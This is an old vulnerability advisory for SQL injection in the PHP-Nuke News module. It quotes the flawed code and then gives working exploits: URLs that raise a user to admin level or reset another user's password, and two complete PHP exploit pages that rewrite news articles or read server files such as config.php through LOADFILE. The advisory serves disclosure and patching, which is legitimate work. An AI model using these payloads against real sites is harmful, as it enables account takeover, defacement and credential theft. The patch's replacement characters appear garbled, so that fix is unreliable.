22th Mar 2003 [SBWID-6085]
COMMAND
PHP-Nuke SQL Injection
SYSTEMS AFFECTED
PHP-Nuke Versions : 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, 6.5
PROBLEM
Thanks to frog-m@n [http://www.phpsecure.info] advisory :
http://www.frog-man.org/tutos/PHP-Nuke-News.txt
(Bogus) PHP Code/Location :
같같같같같같같같같?
/modules/News/article.php :
------------------------------------------------------------------------
if (stristr($REQUEST_URI,"mainfile")) {
Header("Location:
modules.php?name=$module_name&file=article&sid=$sid");
} elseif (!isset($sid) && !isset($tid)) {
Header("Location: index.php");
}
if ($save AND is_user($user)) {
cookiedecode($user);
$db->sql_query("UPDATE ".$user_prefix."_users SET umode='$mode',
uorder='$order', thold='$thold' where uid='$cookie[0]'");
getusrinfo($user);
$info =
base64_encode("$userinfo[user_id]:$userinfo[username]:$userinfo[user_password]:$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}
------------------------------------------------------------------------
/modules/News/index.php :
------------------------------------------------------------------------
[...]
function rate_article($sid, $score) {
global $prefix, $dbi, $ratecookie, $sitename, $r_options;
if ($score) {
if ($score > 5) { $score = 5; }
if ($score < 1) { $score = 1; }
if (isset($ratecookie)) {
$rcookie = base64_decode($ratecookie);
$r_cookie = explode(":", $rcookie);
}
for ($i=0; $i < sizeof($r_cookie); $i++) {
if ($r_cookie[$i] == $sid) {
$a = 1;
}
}
if ($a == 1) {
Header("Location:
modules.php?name=News&op=rate_complete&sid=$sid&rated=1");
} else {
$result = sql_query("update ".$prefix."_stories set
score=score+$score,
ratings=ratings+1 where sid='$sid'", $dbi);
$info = base64_encode("$rcookie$sid:");
setcookie("ratecookie","$info",time()+3600);
Header("Location:
modules.php?name=News&op=rate_complete&sid=$sid$r_options");
}
} else {
include("header.php");
title("$sitename: "._ARTICLERATING."");
OpenTable();
echo "<center>"._DIDNTRATE."<br><br>"
.""._GOBACK."</center>";
CloseTable();
include("footer.php");
}
}
[...]
switch ($op) {
[...]
case "rate_article":
rate_article($sid, $score);
break;
[...]
}
?>
------------------------------------------------------------------------
mainfile.php :
------------------------------------------------------------------
[...]
foreach ($_GET as $secvalue) {
if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
(eregi("\.\.", $secvalue)) ||
(eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
(eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
(eregi("\"", $secvalue))) {
Header("Location: index.php");
die();
}
}
foreach ($_POST as $secvalue) {
if (eregi("<[^>]*script*\"?[^>]*>", $secvalue)) {
Header("Location: index.php");
die();
}
}
[...]
------------------------------------------------------------------
Exploits :
같같같같같
if magic_quotes_gpc=OFF :
- Change our level (into admin) :
http://[target]/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4
or
http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',user_level='4
or
http://[target]/modules.php?name=News&file=article&sid=1&save=1&thold=',user_level='4
- Change the Bob's password :
http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*
if magic_quotes_gpc=OFF AND ON !!
Change the title, article,... of a news :
------------------------------------------------------------------------
<html>
<head>
<title>PHP-Nuke Change News</title>
</head>
<body>
<?
function ascii_phpnuke_exploit($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}
if (isset($submit)) {
$score="1";
if (isset($title)) {
$score.=", title=char(".ascii_phpnuke_exploit($title).")";
}
if (strlen($hometext)>1) {
$score.=", hometext=char(".ascii_phpnuke_exploit($hometext).")";
}
if (strlen($bodytext)>1){
$score.=", bodytext=char(".ascii_phpnuke_exploit($bodytext).")";
}
?>
<b>Target URL : </b><? echo $target; ?><br><br>
<b>SID : </b><? echo $sid; ?><br><br>
<b>New Title : </b><? echo $title; ?><br><br>
<b>New Story Text : </b><? echo $hometext; ?><br><br>
<b>New Extended Text : </b><? echo $bodytext; ?><br><br>
<form method="POST" action="<? echo $target; ?>/modules.php">
<input type="hidden" name="name" value="News">
<input type="hidden" name="op" value="rate_article">
<input type="hidden" name="sid" value="<? echo $sid; ?>">
<input type="hidden" name="score" value="<? echo $score; ?>">
<input type="submit" name="submit" value="Change the News">
</form>
<input type="submit" value="Back" onclick="history.go(-1)">
<?
}else{
?>
<form method="GET" action="<? echo $PHP_SELF; ?>">
Target URL : <input type="text" name="target"><br>
News SID : <input type="text" name="sid"><br><br>
<b>New Title :</b><br> <input type="text" name="title"><br>
<br><br><b>New Story Text :</b><br><textarea cols="50" rows="12"
name="hometext"></textarea>
<br><br><br><b>New Extended Text : </b><br><textarea cols="50"
rows="12"
name="bodytext"></textarea><br><br>
<input type="submit" name="submit" value="Preview">
</form>
<?
}
?>
</body>
</html>
------------------------------------------------------------------------
Save a file from the HD, like 'config.php' into a news :
------------------------------------------------------------------------
<html>
<head>
<title>PHP-Nuke View File</title>
</head>
<body>
<?
function ascii_phpnuke_exploit($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}
if (isset($submit)) {
$score="1";
if (isset($hometext)) {
$score.=",
hometext=LOADFILE(char(".ascii_phpnuke_exploit($hometext)."))";
}
if (isset($bodytext)){
$score.=",
bodytext=LOADFILE(char(".ascii_phpnuke_exploit($bodytext)."))";
}
?>
<b>Target URL : </b><? echo $target; ?><br><br>
<b>SID : </b><? echo $sid; ?><br><br>
<b>File In Story Text : </b><? echo $hometext; ?><br><br>
<b>File In Extended Text : </b><? echo $bodytext; ?><br><br>
<form method="POST" action="<? echo $target; ?>/modules.php">
<input type="hidden" name="name" value="News">
<input type="hidden" name="op" value="rate_article">
<input type="hidden" name="sid" value="<? echo $sid; ?>">
<input type="hidden" name="score" value="<? echo $score; ?>">
<input type="submit" name="submit" value="Change the News">
</form>
<input type="submit" value="Back" onclick="history.go(-1)">
<?
}else{
?>
<form method="GET" action="<? echo $PHP_SELF; ?>">
Target URL : <input type="text" name="target"><br>
News SID : <input type="text" name="sid"><br><br>
<br><br><b>File In Story Text (Full Path) :</b><br><input
name="hometext">
<br><br><br><b>File In Extended Text (Full Path) : </b><br><input
name="bodytext"><br><br>
<input type="submit" name="submit" value="Preview">
</form>
<?
}
?>
</body>
</html>
------------------------------------------------------------------------
The complete file can be found, for example at :
http://[target]/modules/News/comments.php
SOLUTION
A patch can be found on http://www.phpsecure.info
Into mainfile.php, replace :
------------------------------------------------------------------
[...]
foreach ($_GET as $secvalue) {
if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
(eregi("\.\.", $secvalue)) ||
(eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
(eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
(eregi("\"", $secvalue))) {
Header("Location: index.php");
die();
}
}
foreach ($_POST as $secvalue) {
if (eregi("<[^>]*script*\"?[^>]*>", $secvalue)) {
Header("Location: index.php");
die();
}
}
[...]
------------------------------------------------------------------
by :
--------------------------------------------------------------------------------------------------------------
foreach ($_REQUEST as $key=>$value) {
if (get_magic_quotes_gpc()==0) {
$value = addslashes($value); // This will reproduce the option
magic_quotes_gpc=1
}
$value =
str_replace(array(')','=','<','>','|'),array(')','=','<','>','|'),$value);
${$key} = $value;
$_REQUEST[$key] = $value;
if (isset($_POST[$key])) { $_POST[$key] = $value; }
if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; }
if (isset($_FILE[$key])) { $_FILE[$key] = $value; }
if (isset($_GET[$key])) { $_GET[$key] = $value; }
if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value;
}
if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] =
$value;
}
if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value;
}
if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; }
}
--------------------------------------------------------------------------------------------------------------